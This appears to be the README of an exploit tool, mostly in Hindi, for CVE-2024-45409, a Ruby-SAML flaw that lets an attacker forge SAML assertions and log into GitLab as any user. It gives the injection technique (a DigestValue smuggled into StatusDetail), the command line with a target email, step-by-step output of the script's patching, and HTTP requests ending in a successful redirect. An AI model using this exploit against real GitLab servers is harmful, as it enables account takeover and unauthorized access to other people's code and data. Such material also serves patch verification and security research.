
Ruby-SAML / GitLab Authentication Bypass (CVE-2024-45409) exploit
यह स्क्रिप्ट CVE-2024-45409 का शोषण करती है, जो IDP द्वारा जारी किसी भी हस्ताक्षरित SAML दस्तावेज़ तक पहुँच रखने वाले अप्रमाणित हमलावर को SAML प्रतिसाद/अभिकथन जाली बनाने और GitLab पर किसी भी उपयोगकर्ता के रूप में पहुँच प्राप्त करने की अनुमति देती है।
निम्नलिखित सभी GitLab (CE/EE) संस्करण संवेदनशील हैं:
यह शोषण संशोधित अभिकथन के DigestValue को StatusDetail तत्व में इंजेक्ट करता है, जिससे यह XPath चयनकर्ता को तस्करी करने की अनुमति देता है जो SignedInfo ब्लॉक में मौजूद मान के बजाय इस मान का उपयोग करेगा।
apt install python3-lxml
पहले URL और Base64-एन्कोडेड IDP SAML प्रतिसाद को इंटरसेप्ट करें, फिर स्क्रिप्ट का उपयोग करके XML सामग्री को संशोधित करें।
POST /users/auth/saml/callback HTTP/1.1
Host: gitlab.test.local
[...]
SAMLResponse=PHNhbWxwOlJlc3Bv[...]
$ python3 CVE-2024-45409.py -r response.url_base64 -n [email protected] -d -e -o response_patched.url_base64
[+] Parse response
Digest algorithm: sha256
Canonicalization Method: http://www.w3.org/2001/10/xml-exc-c14n#
[+] Remove signature from response
[+] Patch assertion ID
[+] Patch assertion NameID
[+] Patch assertion conditions
[+] Move signature in assertion
[+] Patch response ID
[+] Insert malicious reference
[+] Clone signature reference
[+] Create status detail element
[+] Patch digest value
[+] Write patched file in response_patched.url_base64
उसके बाद, पैरामीटर SAMLResponse मान को स्क्रिप्ट आउटपुट से बदलें। यदि प्रमाणीकरण सफल होता है, तो आप GitLab होमपेज पर रीडायरेक्ट हो जाएंगे।
HTTP/1.1 302 Found
Location: http://gitlab.test.local/
[...]
<html><body>You are being <a href="http://gitlab.test.local/">redirected</a>.</body></html>